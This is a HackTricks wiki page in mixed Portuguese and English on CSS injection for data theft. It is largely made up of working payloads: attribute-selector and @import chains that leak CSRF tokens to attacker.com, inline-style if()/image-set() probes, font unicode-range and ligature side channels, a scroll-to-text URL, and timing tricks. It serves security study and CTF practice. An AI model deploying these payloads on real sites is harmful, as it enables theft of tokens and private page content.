CSS Injection
Reading time: 25 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
CSS Injection
Seletor de Atributo
Seletores CSS são criados para corresponder aos valores dos atributos name
e value
de um elemento input
. Se o atributo value
do elemento input
começar com um caractere específico, um recurso externo predefinido é carregado:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (type="hidden"
) porque elementos ocultos não carregam imagens de fundo.
Bypass para Elementos Ocultos
Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador geral de irmãos ~
. A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Um exemplo prático de exploração dessa técnica está detalhado no trecho de código fornecido. Você pode visualizá-lo here.
Pré-requisitos para CSS Injection
Para que a técnica CSS Injection seja efetiva, certas condições devem ser atendidas:
- Payload Length: O vetor de injeção CSS precisa suportar payloads suficientemente longos para acomodar os seletores criados.
- CSS Re-evaluation: Você deve ter a capacidade de carregar a página dentro de um frame, o que é necessário para acionar a reavaliação do CSS com payloads gerados dinamicamente.
- External Resources: A técnica assume a possibilidade de usar imagens hospedadas externamente. Isso pode ser restringido pela Content Security Policy (CSP) do site.
Blind Attribute Selector
Como explained in this post, é possível combinar os seletores :has
e :not
para identificar conteúdo mesmo de elementos não observáveis. Isso é muito útil quando você não tem ideia do que existe na página que carrega a CSS Injection.\
Também é possível usar esses seletores para extrair informação de vários blocos do mesmo tipo, como em:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combinando isto com a seguinte técnica @import, é possível exfiltrar muita informação usando CSS injection em blind pages com blind-css-exfiltration.
@import
A técnica anterior tem algumas desvantagens — verifique os pré-requisitos. Ou você precisa ser capaz de enviar múltiplos links para a vítima, ou precisa ser capaz de iframe a página vulnerável a CSS injection.
No entanto, existe outra técnica inteligente que usa CSS @import
para melhorar a eficácia.
Isto foi demonstrado pela primeira vez por Pepe Vila e funciona assim:
Em vez de carregar a mesma página repetidas vezes com dezenas de diferentes payloads cada vez (como na técnica anterior), vamos carregar a página apenas uma vez e apenas com um import para o servidor do atacante (este é o payload a enviar para a vítima):
@import url("//attacker.com:5001/start?");
- The import is going to receive some CSS script from the attackers and the browser will load it.
- The first part of the CSS script the attacker will send is another
@import
to the attackers server again. - The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
- The second and bigger part of the payload is going to be an attribute selector leakage payload
- This will send to the attackers server the first char of the secret and the last one
- Once the attackers server has received the first and last char of the secret, it will respond the import requested in the step 2.
- The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.
The attacker will follow that loop until it manages to leak completely the secret.
Você pode encontrar o original Pepe Vila's code to exploit this here ou pode encontrar quase o mesmo código mas comentado aqui.
tip
The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
/* value^= to match the beggining of the value*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= to match the ending of the value*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
This allows the script to leak the secret faster.
warning
Sometimes the script doesn't detect correctly that the prefix + suffix discovered is already the complete flag and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.
No worries, just check the output because you can see the flag there.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
warning
Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: control an element's style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
- Read: copy the attribute into a CSS variable:
--val: attr(title)
. - Decide: select a URL using nested conditionals comparing the variable with string candidates:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: apply
background: image-set(var(--steal))
(or any fetching property) to force a request to the chosen endpoint.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Payload funcional (aspas duplas obrigatórias na comparação):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Enumerando valores de atributos com condicionais aninhadas:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Demonstração realista (sondando nomes de usuário):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Notas e limitações:
- Funciona em navegadores baseados em Chromium na época da pesquisa; o comportamento pode diferir em outros engines.
- Melhor adequado para espaços de valores finitos/enumeráveis (IDs, flags, short usernames). Roubar strings arbitrariamente longas sem folhas de estilo externas continua sendo desafiador.
- Qualquer propriedade CSS que faça fetch de uma URL pode ser usada para disparar a requisição (por exemplo, background/image-set, border-image, list-style, cursor, content).
Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Outros seletores
Outras maneiras de acessar partes do DOM com CSS selectors:
.class-to-search:nth-child(2)
: Isso irá buscar o segundo item com a classe "class-to-search" no DOM.:empty
selector: Usado, por exemplo, em this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
XS-Search baseado em erro
Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
A intenção geral é usar uma fonte customizada de um endpoint controlado e garantir que o texto (neste caso, 'A') seja exibido com essa fonte somente se o recurso especificado (favicon.ico
) não puder ser carregado.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Uso de Fonte Customizada:
- Uma fonte customizada é definida usando a regra
@font-face
dentro de uma tag<style>
na seção<head>
. - A fonte é chamada
poc
e é obtida de um endpoint externo (http://attacker.com/?leak
). - A propriedade
unicode-range
está definida comoU+0041
, direcionando o caractere Unicode específico 'A'.
- Elemento
<object>
com Texto de Reserva:
- Um elemento
<object>
comid="poc0"
é criado na seção<body>
. Esse elemento tenta carregar um recurso dehttp://192.168.0.1/favicon.ico
. - O
font-family
desse elemento é definido como'poc'
, conforme definido na seção<style>
. - Se o recurso (
favicon.ico
) falhar ao carregar, o conteúdo de fallback (a letra 'A') dentro da tag<object>
é exibido. - O conteúdo de fallback ('A') será renderizado usando a fonte customizada
poc
se o recurso externo não puder ser carregado.
Estilizando o Scroll-to-Text Fragment
A pseudo-classe :target
é usada para selecionar um elemento alvo de um fragmento de URL, conforme especificado na CSS Selectors Level 4 specification. É crucial entender que ::target-text
não corresponde a nenhum elemento a menos que o texto seja explicitamente alvo do fragmento.
Uma preocupação de segurança surge quando atacantes exploram o recurso Scroll-to-text fragment, permitindo que confirmem a presença de texto específico em uma página ao carregar um recurso do seu servidor via HTML injection. O método envolve injetar uma regra CSS como esta:
:target::before {
content: url(target.png);
}
Em tais cenários, se o texto "Administrator" estiver presente na página, o recurso target.png
é solicitado ao servidor, indicando a presença do texto. Uma instância desse ataque pode ser executada através de uma URL especialmente elaborada que incorpora o injected CSS juntamente com um Scroll-to-text fragment:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Aqui, o ataque manipula HTML injection para transmitir o código CSS, visando o texto específico "Administrator" através do Scroll-to-text fragment (#:~:text=Administrator
). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença ao atacante.
Para mitigação, os seguintes pontos devem ser observados:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) foi projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de leak de segredos arbitrários ou tokens.
- Restriction to Top-level Browsing Contexts: STTF opera exclusivamente em top-level browsing contexts e não funciona dentro de iframes, tornando qualquer exploitation attempt mais perceptível para o usuário.
- Necessity of User Activation: STTF requer um gesto de user-activation para operar, o que significa que exploitations são viáveis apenas através de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. Entretanto, o autor do blog post aponta condições e bypasses específicos (por exemplo, social engineering, interação com browser extensions prevalentes) que podem facilitar a automação do ataque.
A conscientização sobre esses mecanismos e potenciais vulnerabilidades é fundamental para manter a segurança web e proteger contra tais táticas de exploração.
For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Você pode conferir um exploit using this technique for a CTF here.
@font-face / unicode-range
Você pode especificar fontes externas para valores unicode específicos que só serão obtidas se esses valores unicode estiverem presentes na página. For example:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Text node exfiltration (I): ligatures
Referência: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
A técnica descrita envolve extrair texto de um nó explorando font ligatures e monitorando mudanças na largura. O processo envolve várias etapas:
- Criação de fontes customizadas:
- Fonts SVG são criadas com glyphs que possuem o atributo
horiz-adv-x
, que define uma largura grande para um glyph que representa uma sequência de dois caracteres. - Exemplo de glyph SVG:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, onde "XY" denota uma sequência de dois caracteres. - Essas fontes são então convertidas para o formato woff usando fontforge.
- Detecção de mudanças de largura:
- Usa-se CSS para garantir que o texto não quebre linha (
white-space: nowrap
) e para customizar o estilo da scrollbar. - O aparecimento de uma scrollbar horizontal, estilizada de forma distinta, funciona como um indicador (oracle) de que uma ligature específica, e portanto uma sequência de caracteres específica, está presente no texto.
- O CSS envolvido:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Exploit Process:
- Passo 1: São criadas fontes para pares de caracteres com largura substancial.
- Passo 2: É usada uma artimanha baseada em scrollbar para detectar quando o glyph de grande largura (ligature para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.
- Passo 3: Ao detectar uma ligature, novos glyphs representando sequências de três caracteres são gerados, incorporando o par detectado e adicionando um caractere anterior ou posterior.
- Passo 4: É feita a detecção da ligature de três caracteres.
- Passo 5: O processo se repete, revelando progressivamente todo o texto.
- Otimização:
- O método de inicialização atual usando
<meta refresh=...
não é ótimo. - Uma abordagem mais eficiente poderia envolver o truque de CSS
@import
, melhorando o desempenho do exploit.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Referência: PoC using Comic Sans by @Cgvwzq & @Terjanq
Este truque foi publicado neste Slackers thread. O charset usado em um nó de texto pode ser leaked usando as fontes padrão instaladas no navegador: nenhuma fonte externa -ou custom- é necessária.
O conceito gira em torno de usar uma animação para expandir incrementalmente a largura de um div
, permitindo que um caractere por vez transicione da parte 'suffix' do texto para a parte 'prefix'. Esse processo efetivamente divide o texto em duas seções:
- Prefix: a linha inicial.
- Suffix: a(s) linha(s) subsequente(s).
Os estágios de transição dos caracteres apareceriam da seguinte forma:
C
ADB
CA
DB
CAD
B
CADB
Durante essa transição, o unicode-range trick é empregado para identificar cada novo caractere à medida que ele se junta ao prefix. Isso é conseguido trocando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, consequentemente acionando uma scrollbar vertical. O aparecimento dessa scrollbar revela indiretamente a presença de um novo caractere no prefix.
Embora esse método permita detectar caracteres únicos conforme eles aparecem, ele não especifica qual caractere é repetido, apenas que ocorreu uma repetição.
tip
Basicamente, o unicode-range é usado para detectar um char, mas como não queremos carregar uma fonte externa, precisamos encontrar outro caminho.
Quando o char é encontrado, ele recebe a fonte pré-instalada Comic Sans, que torna o char maior e aciona uma scrollbar, que irá leak o char encontrado.
Confira o código extraído do PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset com uma fonte padrão ao esconder elementos (não requer recursos externos)
Reference: Isto é mencionado como uma solução malsucedida neste writeup
Este caso é muito semelhante ao anterior; no entanto, aqui o objetivo de fazer caracteres específicos maiores que outros para esconder algo como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, podemos medir a ação (ou a falta dela) e saber se um caractere específico está presente no texto.
Text node exfiltration (III): leaking the charset por temporização de cache (não requer recursos externos)
Reference: Isto é mencionado como uma solução malsucedida neste writeup
Neste caso, poderíamos tentar leak se um caractere está no texto carregando uma fonte falsa da mesma origem:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Se houver uma correspondência, a fonte será carregada de /static/bootstrap.min.css?q=1
. Embora não carregue com sucesso, o navegador deve armazená‑la em cache, e mesmo que não haja cache, existe o mecanismo 304 not modified, então a resposta deve ser mais rápida do que outras coisas.
No entanto, se a diferença de tempo entre a resposta em cache e a não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: Porém, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag disk-cache-size=1
, o que é bem pensado.
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
Referência: Isso é mencionado como uma solução malsucedida neste writeup
Nesse caso você pode indicar CSS para carregar centenas de fontes falsas da mesma origem quando ocorrer uma correspondência. Assim você pode medir o tempo que isso leva e descobrir se um caractere aparece ou não com algo como:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
E o código do bot fica assim:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Portanto, se a fonte não corresponder, o tempo de resposta ao visitar o bot deverá ser de aproximadamente 30 segundos. Contudo, se houver correspondência de fonte, serão feitas várias requisições para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Assim, o tempo de resposta pode ser usado como indicador para determinar se há correspondência de fonte.
Referências
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.